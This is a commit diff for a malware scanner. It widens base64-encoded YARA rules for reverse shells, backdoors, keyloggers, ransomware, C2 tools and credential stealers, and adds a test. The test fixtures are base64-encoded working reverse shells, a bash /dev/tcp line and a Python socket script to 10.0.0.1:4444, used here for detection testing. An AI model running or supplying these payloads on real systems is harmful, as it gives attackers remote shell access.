fix(yara): make reverse-shell socket strings span newlines

src/skillspector/yara_rules/malware.yar.b64

@@ -12,78 +12,79 @@ X3JldnNoZWxsICAgID0gL2Jhc2hccystaVxzKz4mXHMqXC9kZXZcL3RjcFwvLyBub2Nhc2UNCiAg
 ICAgICAgJG5jX3NoZWxsICAgICAgICAgPSAvbmNccy4qLWVccypcL2JpblwvKGJhKT9zaC8gbm9j
 YXNlDQogICAgICAgICRuY2F0X3NoZWxsICAgICAgID0gL25jYXRccy4qLWVccypcL2JpblwvKGJh
 KT9zaC8gbm9jYXNlDQogICAgICAgICRweXRob25fc29ja2V0ICAgID0gL3NvY2tldFwuc29ja2V0
-XCguKlNPQ0tfU1RSRUFNLipcLmNvbm5lY3RcKC8NCiAgICAgICAgJHBlcmxfc29ja2V0ICAgICAg
-PSAvdXNlXHMrU29ja2V0Oy4qc29ja2V0XHMqXChccypTT0NLLw0KICAgICAgICAkcGhwX2Zzb2Nr
-ICAgICAgICA9IC9mc29ja29wZW5ccypcKC4qZXhlY1xzKlwoLyBub2Nhc2UNCiAgICAgICAgJHJ1
-YnlfdGNwc29ja2V0ICAgPSAvVENQU29ja2V0XC5ccypuZXdccypcKC4qZXhlY1xzKlwoLw0KICAg
-ICAgICAkcG93ZXJzaGVsbF90Y3AgICA9IC9OZXctT2JqZWN0XHMrU3lzdGVtXC5OZXRcLlNvY2tl
-dHNcLlRDUENsaWVudC8gbm9jYXNlDQogICAgICAgICRzb2NhdF9zaGVsbCAgICAgID0gL3NvY2F0
-XHMrLipFWEVDLipcL2JpblwvKGJhKT9zaC8gbm9jYXNlDQogICAgICAgICRta2ZpZm9fc2hlbGwg
-ICAgID0gL21rZmlmb1xzKy4qXHxccypcL2JpblwvKGJhKT9zaC8NCiAgICBjb25kaXRpb246DQog
-ICAgICAgIGFueSBvZiB0aGVtDQp9DQoNCnJ1bGUgYmFja2Rvb3JfcGVyc2lzdGVuY2UNCnsNCiAg
-ICBtZXRhOg0KICAgICAgICBkZXNjcmlwdGlvbiA9ICJCYWNrZG9vciBwZXJzaXN0ZW5jZSB3aXRo
-IG1hbGljaW91cyBwYXlsb2FkcyAoc2hlbGwgY29tbWFuZHMsIFNTSCBrZXkgaW5qZWN0aW9uLCBo
-aWRkZW4gcm9vdCB1c2VycykiDQogICAgICAgIGNhdGVnb3J5ID0gIm1hbHdhcmUiDQogICAgICAg
-IHNldmVyaXR5ID0gIkhJR0giDQogICAgICAgIGNvbmZpZGVuY2UgPSAiMC43NSINCiAgICAgICAg
-cmVmZXJlbmNlID0gImh0dHBzOi8vZ2l0aHViLmNvbS9OZW8yM3gwL3NpZ25hdHVyZS1iYXNlIg0K
-ICAgIHN0cmluZ3M6DQogICAgICAgICRoaWRkZW5fdXNlciAgICAgICA9IC91c2VyYWRkXHMrLiot
-b1xzKy11XHMrMC8gbm9jYXNlDQogICAgICAgICRjcm9uX3BlcnNpc3QgICAgICA9IC9jcm9udGFi
-XHMuKihjdXJsfHdnZXR8bmN8YmFzaHxweXRob24pLyBub2Nhc2UNCiAgICAgICAgJHNzaF9pbmpl
-Y3QgICAgICAgID0gL2VjaG9ccysuKj4+P1xzKi4qXC5zc2hcL2F1dGhvcml6ZWRfa2V5cy8gbm9j
-YXNlDQogICAgICAgICRzeXN0ZW1kX3BlcnNpc3QgICA9IC9cW1NlcnZpY2VcXS4qRXhlY1N0YXJ0
-LioobmN8YmFzaHxweXRob258Y3VybCkvIG5vY2FzZQ0KICAgICAgICAkYmFzaHJjX3BlcnNpc3Qg
-ICAgPSAvZWNob1xzKy4qPj4/XHMqLipcLmJhc2hyYy8gbm9jYXNlDQogICAgICAgICRwcm9maWxl
-X3BlcnNpc3QgICA9IC9lY2hvXHMrLio+Pj9ccyouKlwucHJvZmlsZS8gbm9jYXNlDQogICAgICAg
-ICRpbml0X3BlcnNpc3QgICAgICA9IC9cL2V0Y1wvaW5pdFwuZFwvLioobmN8YmFzaHxyZXZlcnNl
-KS8gbm9jYXNlDQogICAgICAgICRsZF9wcmVsb2FkICAgICAgICA9IC9MRF9QUkVMT0FELipcLnNv
-LyBub2Nhc2UNCiAgICBjb25kaXRpb246DQogICAgICAgIGFueSBvZiB0aGVtDQp9DQoNCnJ1bGUg
-a2V5bG9nZ2VyX2luZGljYXRvcnMNCnsNCiAgICBtZXRhOg0KICAgICAgICBkZXNjcmlwdGlvbiA9
-ICJLZXlsb2dnZXIgZnVuY3Rpb25hbGl0eSBpbiBzY3JpcHRzIG9yIHNvdXJjZSBjb2RlIg0KICAg
-ICAgICBjYXRlZ29yeSA9ICJtYWx3YXJlIg0KICAgICAgICBzZXZlcml0eSA9ICJISUdIIg0KICAg
-ICAgICBjb25maWRlbmNlID0gIjAuNyINCiAgICBzdHJpbmdzOg0KICAgICAgICAkcHlucHV0ICAg
-ICAgICAgPSAvZnJvbVxzK3B5bnB1dFwua2V5Ym9hcmRccytpbXBvcnQvIG5vY2FzZQ0KICAgICAg
-ICAka2V5Ym9hcmRfaG9vayAgPSAva2V5Ym9hcmRcLihvbl9wcmVzc3xob29rfG9uX3JlbGVhc2Up
-LyBub2Nhc2UNCiAgICAgICAgJHhpbnB1dF90ZXN0ICAgID0gL3hpbnB1dFxzK3Rlc3QvIG5vY2Fz
-ZQ0KICAgICAgICAkbG9na2V5cyAgICAgICAgPSAvbG9na2V5c1xzKy0tc3RhcnQvIG5vY2FzZQ0K
-ICAgICAgICAka2V5YmRfZXZlbnQgICAgPSAvKEdldEFzeW5jS2V5U3RhdGV8U2V0V2luZG93c0hv
-b2tFeC4qV0hfS0VZQk9BUkQpLyBub2Nhc2UNCiAgICBjb25kaXRpb246DQogICAgICAgIGFueSBv
-ZiB0aGVtDQp9DQoNCnJ1bGUgcmFuc29td2FyZV9iZWhhdmlvcg0Kew0KICAgIG1ldGE6DQogICAg
-ICAgIGRlc2NyaXB0aW9uID0gIlJhbnNvbXdhcmUtbGlrZSBwYXR0ZXJucyAobWFzcyBlbmNyeXB0
-aW9uLCByYW5zb20gbm90ZXMpIg0KICAgICAgICBjYXRlZ29yeSA9ICJtYWx3YXJlIg0KICAgICAg
-ICBzZXZlcml0eSA9ICJDUklUSUNBTCINCiAgICAgICAgY29uZmlkZW5jZSA9ICIwLjgiDQogICAg
-c3RyaW5nczoNCiAgICAgICAgJHdhbGtfZW5jcnlwdCAgID0gL29zXC53YWxrXHMqXCguKlwuKGVu
-Y3J5cHR8Y2lwaGVyKS8NCiAgICAgICAgJHJhbnNvbV9ub3RlICAgID0gLyh5b3VyXHMrZmlsZXNc
-cysoaGF2ZVxzK2JlZW58YXJlKVxzK2VuY3J5cHRlZHxwYXlccysuKmJpdGNvaW58c2VuZFxzKy4q
-YnRjKS8gbm9jYXNlDQogICAgICAgICRleHRfcmVuYW1lICAgICA9IC9vc1wucmVuYW1lXHMqXCgu
-KlwrXHMqWyciXVwuKGxvY2tlZHxlbmNyeXB0ZWR8Y3J5cHR8ZW5jKVsnIl1ccypcKS8NCiAgICAg
-ICAgJG1hc3Nfb3ZlcndyaXRlID0gL29zXC53YWxrXHMqXCguKm9wZW5ccypcKC4qWydcIl13Ylsn
-XCJdXCkvDQogICAgY29uZGl0aW9uOg0KICAgICAgICBhbnkgb2YgdGhlbQ0KfQ0KDQpydWxlIGMy
-X2ZyYW1ld29ya19pbmRpY2F0b3JzDQp7DQogICAgbWV0YToNCiAgICAgICAgZGVzY3JpcHRpb24g
-PSAiQ29tbWFuZC1hbmQtY29udHJvbCBmcmFtZXdvcmsgaW5kaWNhdG9ycyAoQ29iYWx0IFN0cmlr
-ZSwgTWV0YXNwbG9pdCwgU2xpdmVyLCBldGMuKSINCiAgICAgICAgY2F0ZWdvcnkgPSAibWFsd2Fy
-ZSINCiAgICAgICAgc2V2ZXJpdHkgPSAiQ1JJVElDQUwiDQogICAgICAgIGNvbmZpZGVuY2UgPSAi
-MC44NSINCiAgICAgICAgcmVmZXJlbmNlID0gImh0dHBzOi8vZ2l0aHViLmNvbS9OZW8yM3gwL3Np
-Z25hdHVyZS1iYXNlIg0KICAgIHN0cmluZ3M6DQogICAgICAgICRjb2JhbHRfc3RyaWtlICA9ICJj
-b2JhbHRzdHJpa2UiIG5vY2FzZQ0KICAgICAgICAkbWV0ZXJwcmV0ZXIgICAgPSAibWV0ZXJwcmV0
-ZXIiIG5vY2FzZQ0KICAgICAgICAkbWV0YXNwbG9pdCAgICAgPSAvbWV0YXNwbG9pdC4qKHBheWxv
-YWR8ZXhwbG9pdHxzdGFnZXIpLyBub2Nhc2UNCiAgICAgICAgJGVtcGlyZSAgICAgICAgID0gL3Bv
-d2Vyc2hlbGwuKmVtcGlyZS8gbm9jYXNlDQogICAgICAgICRzbGl2ZXJfYzIgICAgICA9IC9zbGl2
-ZXIuKihpbXBsYW50fGJlYWNvbnxzZXNzaW9uKS8gbm9jYXNlDQogICAgICAgICRjb3ZlbmFudCAg
-ICAgICA9IC9Db3ZlbmFudC4qKEdydW50fExpc3RlbmVyKS8gbm9jYXNlDQogICAgICAgICRoYXZv
-Y19jMiAgICAgICA9IC9oYXZvYy4qKGRlbW9ufHRlYW1zZXJ2ZXIpLyBub2Nhc2UNCiAgICAgICAg
-JGJlYWNvbl9jb25maWcgID0gLyhCZWFjb25UeXBlfEMyU2VydmVyfFB1YmxpY0tleS4qd2F0ZXJt
-YXJrKS8gbm9jYXNlDQogICAgY29uZGl0aW9uOg0KICAgICAgICBhbnkgb2YgdGhlbQ0KfQ0KDQpy
-dWxlIGluZm9fc3RlYWxlcg0Kew0KICAgIG1ldGE6DQogICAgICAgIGRlc2NyaXB0aW9uID0gIklu
-Zm9ybWF0aW9uIHN0ZWFsZXIgcGF0dGVybnMgKGNyZWRlbnRpYWwgaGFydmVzdGluZywgYnJvd3Nl
-ciBkYXRhIHRoZWZ0KSINCiAgICAgICAgY2F0ZWdvcnkgPSAibWFsd2FyZSINCiAgICAgICAgc2V2
-ZXJpdHkgPSAiSElHSCINCiAgICAgICAgY29uZmlkZW5jZSA9ICIwLjc1Ig0KICAgICAgICByZWZl
-cmVuY2UgPSAiaHR0cHM6Ly9naXRodWIuY29tL05lbzIzeDAvc2lnbmF0dXJlLWJhc2UiDQogICAg
-c3RyaW5nczoNCiAgICAgICAgJGNocm9tZV9sb2dpbiAgICAgPSAvQ2hyb21lLipMb2dpblxzKkRh
-dGEvIG5vY2FzZQ0KICAgICAgICAkZmlyZWZveF9sb2dpbnMgICA9IC9sb2dpbnNcLmpzb24uKmZp
-cmVmb3gvIG5vY2FzZQ0KICAgICAgICAkYnJvd3Nlcl9jb29raWVzICA9IC9Db29raWVzLiooY2hy
-b21lfGZpcmVmb3h8ZWRnZXxvcGVyYSkvIG5vY2FzZQ0KICAgICAgICAkd2FsbGV0X3N0ZWFsICAg
-ICA9IC93YWxsZXRcLmRhdC8gbm9jYXNlDQogICAgICAgICRtaW1pa2F0eiAgICAgICAgID0gIm1p
-bWlrYXR6IiBub2Nhc2UNCiAgICAgICAgJGxhemFnbmUgICAgICAgICAgPSAibGF6YWduZSIgbm9j
-YXNlDQogICAgICAgICRjcmVkX2R1bXBfc2FtICAgID0gL3JlZ1xzK3NhdmVccysuKlxcc2FtLyBu
-b2Nhc2UNCiAgICAgICAgJG50ZHNfZHVtcCAgICAgICAgPSAvbnRkc1wuZGl0LyBub2Nhc2UNCiAg
-ICBjb25kaXRpb246DQogICAgICAgIGFueSBvZiB0aGVtDQp9DQo=
+XCguezAsMjAwfVNPQ0tfU1RSRUFNLnswLDIwMH1cLmNvbm5lY3RcKC9zDQogICAgICAgICRwZXJs
+X3NvY2tldCAgICAgID0gL3VzZVxzK1NvY2tldDsuezAsMjAwfXNvY2tldFxzKlwoXHMqU09DSy9z
+DQogICAgICAgICRwaHBfZnNvY2sgICAgICAgID0gL2Zzb2Nrb3BlblxzKlwoLipleGVjXHMqXCgv
+IG5vY2FzZQ0KICAgICAgICAkcnVieV90Y3Bzb2NrZXQgICA9IC9UQ1BTb2NrZXRcLlxzKm5ld1xz
+KlwoLipleGVjXHMqXCgvDQogICAgICAgICRwb3dlcnNoZWxsX3RjcCAgID0gL05ldy1PYmplY3Rc
+cytTeXN0ZW1cLk5ldFwuU29ja2V0c1wuVENQQ2xpZW50LyBub2Nhc2UNCiAgICAgICAgJHNvY2F0
+X3NoZWxsICAgICAgPSAvc29jYXRccysuKkVYRUMuKlwvYmluXC8oYmEpP3NoLyBub2Nhc2UNCiAg
+ICAgICAgJG1rZmlmb19zaGVsbCAgICAgPSAvbWtmaWZvXHMrLipcfFxzKlwvYmluXC8oYmEpP3No
+Lw0KICAgIGNvbmRpdGlvbjoNCiAgICAgICAgYW55IG9mIHRoZW0NCn0NCg0KcnVsZSBiYWNrZG9v
+cl9wZXJzaXN0ZW5jZQ0Kew0KICAgIG1ldGE6DQogICAgICAgIGRlc2NyaXB0aW9uID0gIkJhY2tk
+b29yIHBlcnNpc3RlbmNlIHdpdGggbWFsaWNpb3VzIHBheWxvYWRzIChzaGVsbCBjb21tYW5kcywg
+U1NIIGtleSBpbmplY3Rpb24sIGhpZGRlbiByb290IHVzZXJzKSINCiAgICAgICAgY2F0ZWdvcnkg
+PSAibWFsd2FyZSINCiAgICAgICAgc2V2ZXJpdHkgPSAiSElHSCINCiAgICAgICAgY29uZmlkZW5j
+ZSA9ICIwLjc1Ig0KICAgICAgICByZWZlcmVuY2UgPSAiaHR0cHM6Ly9naXRodWIuY29tL05lbzIz
+eDAvc2lnbmF0dXJlLWJhc2UiDQogICAgc3RyaW5nczoNCiAgICAgICAgJGhpZGRlbl91c2VyICAg
+ICAgID0gL3VzZXJhZGRccysuKi1vXHMrLXVccyswLyBub2Nhc2UNCiAgICAgICAgJGNyb25fcGVy
+c2lzdCAgICAgID0gL2Nyb250YWJccy4qKGN1cmx8d2dldHxuY3xiYXNofHB5dGhvbikvIG5vY2Fz
+ZQ0KICAgICAgICAkc3NoX2luamVjdCAgICAgICAgPSAvZWNob1xzKy4qPj4/XHMqLipcLnNzaFwv
+YXV0aG9yaXplZF9rZXlzLyBub2Nhc2UNCiAgICAgICAgJHN5c3RlbWRfcGVyc2lzdCAgID0gL1xb
+U2VydmljZVxdLipFeGVjU3RhcnQuKihuY3xiYXNofHB5dGhvbnxjdXJsKS8gbm9jYXNlDQogICAg
+ICAgICRiYXNocmNfcGVyc2lzdCAgICA9IC9lY2hvXHMrLio+Pj9ccyouKlwuYmFzaHJjLyBub2Nh
+c2UNCiAgICAgICAgJHByb2ZpbGVfcGVyc2lzdCAgID0gL2VjaG9ccysuKj4+P1xzKi4qXC5wcm9m
+aWxlLyBub2Nhc2UNCiAgICAgICAgJGluaXRfcGVyc2lzdCAgICAgID0gL1wvZXRjXC9pbml0XC5k
+XC8uKihuY3xiYXNofHJldmVyc2UpLyBub2Nhc2UNCiAgICAgICAgJGxkX3ByZWxvYWQgICAgICAg
+ID0gL0xEX1BSRUxPQUQuKlwuc28vIG5vY2FzZQ0KICAgIGNvbmRpdGlvbjoNCiAgICAgICAgYW55
+IG9mIHRoZW0NCn0NCg0KcnVsZSBrZXlsb2dnZXJfaW5kaWNhdG9ycw0Kew0KICAgIG1ldGE6DQog
+ICAgICAgIGRlc2NyaXB0aW9uID0gIktleWxvZ2dlciBmdW5jdGlvbmFsaXR5IGluIHNjcmlwdHMg
+b3Igc291cmNlIGNvZGUiDQogICAgICAgIGNhdGVnb3J5ID0gIm1hbHdhcmUiDQogICAgICAgIHNl
+dmVyaXR5ID0gIkhJR0giDQogICAgICAgIGNvbmZpZGVuY2UgPSAiMC43Ig0KICAgIHN0cmluZ3M6
+DQogICAgICAgICRweW5wdXQgICAgICAgICA9IC9mcm9tXHMrcHlucHV0XC5rZXlib2FyZFxzK2lt
+cG9ydC8gbm9jYXNlDQogICAgICAgICRrZXlib2FyZF9ob29rICA9IC9rZXlib2FyZFwuKG9uX3By
+ZXNzfGhvb2t8b25fcmVsZWFzZSkvIG5vY2FzZQ0KICAgICAgICAkeGlucHV0X3Rlc3QgICAgPSAv
+eGlucHV0XHMrdGVzdC8gbm9jYXNlDQogICAgICAgICRsb2drZXlzICAgICAgICA9IC9sb2drZXlz
+XHMrLS1zdGFydC8gbm9jYXNlDQogICAgICAgICRrZXliZF9ldmVudCAgICA9IC8oR2V0QXN5bmNL
+ZXlTdGF0ZXxTZXRXaW5kb3dzSG9va0V4LipXSF9LRVlCT0FSRCkvIG5vY2FzZQ0KICAgIGNvbmRp
+dGlvbjoNCiAgICAgICAgYW55IG9mIHRoZW0NCn0NCg0KcnVsZSByYW5zb213YXJlX2JlaGF2aW9y
+DQp7DQogICAgbWV0YToNCiAgICAgICAgZGVzY3JpcHRpb24gPSAiUmFuc29td2FyZS1saWtlIHBh
+dHRlcm5zIChtYXNzIGVuY3J5cHRpb24sIHJhbnNvbSBub3RlcykiDQogICAgICAgIGNhdGVnb3J5
+ID0gIm1hbHdhcmUiDQogICAgICAgIHNldmVyaXR5ID0gIkNSSVRJQ0FMIg0KICAgICAgICBjb25m
+aWRlbmNlID0gIjAuOCINCiAgICBzdHJpbmdzOg0KICAgICAgICAkd2Fsa19lbmNyeXB0ICAgPSAv
+b3NcLndhbGtccypcKC4qXC4oZW5jcnlwdHxjaXBoZXIpLw0KICAgICAgICAkcmFuc29tX25vdGUg
+ICAgPSAvKHlvdXJccytmaWxlc1xzKyhoYXZlXHMrYmVlbnxhcmUpXHMrZW5jcnlwdGVkfHBheVxz
+Ky4qYml0Y29pbnxzZW5kXHMrLipidGMpLyBub2Nhc2UNCiAgICAgICAgJGV4dF9yZW5hbWUgICAg
+ID0gL29zXC5yZW5hbWVccypcKC4qXCtccypbJyJdXC4obG9ja2VkfGVuY3J5cHRlZHxjcnlwdHxl
+bmMpWyciXVxzKlwpLw0KICAgICAgICAkbWFzc19vdmVyd3JpdGUgPSAvb3NcLndhbGtccypcKC4q
+b3BlblxzKlwoLipbJ1wiXXdiWydcIl1cKS8NCiAgICBjb25kaXRpb246DQogICAgICAgIGFueSBv
+ZiB0aGVtDQp9DQoNCnJ1bGUgYzJfZnJhbWV3b3JrX2luZGljYXRvcnMNCnsNCiAgICBtZXRhOg0K
+ICAgICAgICBkZXNjcmlwdGlvbiA9ICJDb21tYW5kLWFuZC1jb250cm9sIGZyYW1ld29yayBpbmRp
+Y2F0b3JzIChDb2JhbHQgU3RyaWtlLCBNZXRhc3Bsb2l0LCBTbGl2ZXIsIGV0Yy4pIg0KICAgICAg
+ICBjYXRlZ29yeSA9ICJtYWx3YXJlIg0KICAgICAgICBzZXZlcml0eSA9ICJDUklUSUNBTCINCiAg
+ICAgICAgY29uZmlkZW5jZSA9ICIwLjg1Ig0KICAgICAgICByZWZlcmVuY2UgPSAiaHR0cHM6Ly9n
+aXRodWIuY29tL05lbzIzeDAvc2lnbmF0dXJlLWJhc2UiDQogICAgc3RyaW5nczoNCiAgICAgICAg
+JGNvYmFsdF9zdHJpa2UgID0gImNvYmFsdHN0cmlrZSIgbm9jYXNlDQogICAgICAgICRtZXRlcnBy
+ZXRlciAgICA9ICJtZXRlcnByZXRlciIgbm9jYXNlDQogICAgICAgICRtZXRhc3Bsb2l0ICAgICA9
+IC9tZXRhc3Bsb2l0LioocGF5bG9hZHxleHBsb2l0fHN0YWdlcikvIG5vY2FzZQ0KICAgICAgICAk
+ZW1waXJlICAgICAgICAgPSAvcG93ZXJzaGVsbC4qZW1waXJlLyBub2Nhc2UNCiAgICAgICAgJHNs
+aXZlcl9jMiAgICAgID0gL3NsaXZlci4qKGltcGxhbnR8YmVhY29ufHNlc3Npb24pLyBub2Nhc2UN
+CiAgICAgICAgJGNvdmVuYW50ICAgICAgID0gL0NvdmVuYW50LiooR3J1bnR8TGlzdGVuZXIpLyBu
+b2Nhc2UNCiAgICAgICAgJGhhdm9jX2MyICAgICAgID0gL2hhdm9jLiooZGVtb258dGVhbXNlcnZl
+cikvIG5vY2FzZQ0KICAgICAgICAkYmVhY29uX2NvbmZpZyAgPSAvKEJlYWNvblR5cGV8QzJTZXJ2
+ZXJ8UHVibGljS2V5Lip3YXRlcm1hcmspLyBub2Nhc2UNCiAgICBjb25kaXRpb246DQogICAgICAg
+IGFueSBvZiB0aGVtDQp9DQoNCnJ1bGUgaW5mb19zdGVhbGVyDQp7DQogICAgbWV0YToNCiAgICAg
+ICAgZGVzY3JpcHRpb24gPSAiSW5mb3JtYXRpb24gc3RlYWxlciBwYXR0ZXJucyAoY3JlZGVudGlh
+bCBoYXJ2ZXN0aW5nLCBicm93c2VyIGRhdGEgdGhlZnQpIg0KICAgICAgICBjYXRlZ29yeSA9ICJt
+YWx3YXJlIg0KICAgICAgICBzZXZlcml0eSA9ICJISUdIIg0KICAgICAgICBjb25maWRlbmNlID0g
+IjAuNzUiDQogICAgICAgIHJlZmVyZW5jZSA9ICJodHRwczovL2dpdGh1Yi5jb20vTmVvMjN4MC9z
+aWduYXR1cmUtYmFzZSINCiAgICBzdHJpbmdzOg0KICAgICAgICAkY2hyb21lX2xvZ2luICAgICA9
+IC9DaHJvbWUuKkxvZ2luXHMqRGF0YS8gbm9jYXNlDQogICAgICAgICRmaXJlZm94X2xvZ2lucyAg
+ID0gL2xvZ2luc1wuanNvbi4qZmlyZWZveC8gbm9jYXNlDQogICAgICAgICRicm93c2VyX2Nvb2tp
+ZXMgID0gL0Nvb2tpZXMuKihjaHJvbWV8ZmlyZWZveHxlZGdlfG9wZXJhKS8gbm9jYXNlDQogICAg
+ICAgICR3YWxsZXRfc3RlYWwgICAgID0gL3dhbGxldFwuZGF0LyBub2Nhc2UNCiAgICAgICAgJG1p
+bWlrYXR6ICAgICAgICAgPSAibWltaWthdHoiIG5vY2FzZQ0KICAgICAgICAkbGF6YWduZSAgICAg
+ICAgICA9ICJsYXphZ25lIiBub2Nhc2UNCiAgICAgICAgJGNyZWRfZHVtcF9zYW0gICAgPSAvcmVn
+XHMrc2F2ZVxzKy4qXFxzYW0vIG5vY2FzZQ0KICAgICAgICAkbnRkc19kdW1wICAgICAgICA9IC9u
+dGRzXC5kaXQvIG5vY2FzZQ0KICAgIGNvbmRpdGlvbjoNCiAgICAgICAgYW55IG9mIHRoZW0NCn0N
+Cg==

tests/nodes/analyzers/test_static_yara.py

@@ -90,6 +90,23 @@ def _reverse_shell_fixture() -> str:
     return base64.b64decode("YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx").decode()
 
 
+def _multiline_python_socket_reverse_shell_fixture() -> str:
+    """A Python reverse shell written the way it appears in a real script file.
+
+    Deliberately multi-line (``socket.socket(...)`` and ``.connect(...)`` on
+    separate statements) rather than the single-line ``python3 -c '...'`` form,
+    since that is how this exact payload is written when bundled as a file
+    rather than passed inline to an interpreter.
+    """
+    return base64.b64decode(
+        "aW1wb3J0IHNvY2tldCwgc3VicHJvY2Vzcywgb3MKcyA9IHNvY2tldC5zb2NrZXQoc29ja"
+        "2V0LkFGX0lORVQsIHNvY2tldC5TT0NLX1NUUkVBTSkKcy5jb25uZWN0KCgiMTAuMC4wLj"
+        "EiLCA0NDQ0KSkKb3MuZHVwMihzLmZpbGVubygpLCAwKQpvcy5kdXAyKHMuZmlsZW5vKCk"
+        "sIDEpCm9zLmR1cDIocy5maWxlbm8oKSwgMikKc3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9z"
+        "aCIsICItaSJdKQo="
+    ).decode()
+
+
 def _has_rule(findings: list, rule_name: str) -> bool:
     """Return True when a finding message references a specific YARA rule."""
     return any(rule_name in f.message for f in findings)
@@ -592,6 +609,24 @@ def test_builtin_malware_finding_preserved(self):
         assert _has_rule(findings, "reverse_shell")
         assert any(f.rule_id == "YR1" for f in findings)
 
+    def test_reverse_shell_rule_matches_multiline_python_socket(self):
+        """The python_socket string must span the newlines a real script uses.
+
+        A Python reverse shell bundled as a file writes ``socket.socket(...)``
+        and ``.connect(...)`` as separate statements, not on one line — see
+        `_multiline_python_socket_reverse_shell_fixture`. Without ``s`` (dotall)
+        on the ``$python_socket``/``$perl_socket`` strings in
+        ``malware.yar.b64``, YARA's `.` does not match ``\\n`` and this rule
+        never fires on that shape, even though the file it should have flagged
+        is unambiguously a working reverse shell.
+        """
+        findings = _run_builtin(
+            _multiline_python_socket_reverse_shell_fixture(),
+            "scripts/sync.py",
+        )
+        assert _has_rule(findings, "reverse_shell")
+        assert any(f.rule_id == "YR1" for f in findings)
+
     def test_extra_rules_still_match_with_builtin_malware_representation(self, tmp_path):
         _write_rule(
             tmp_path,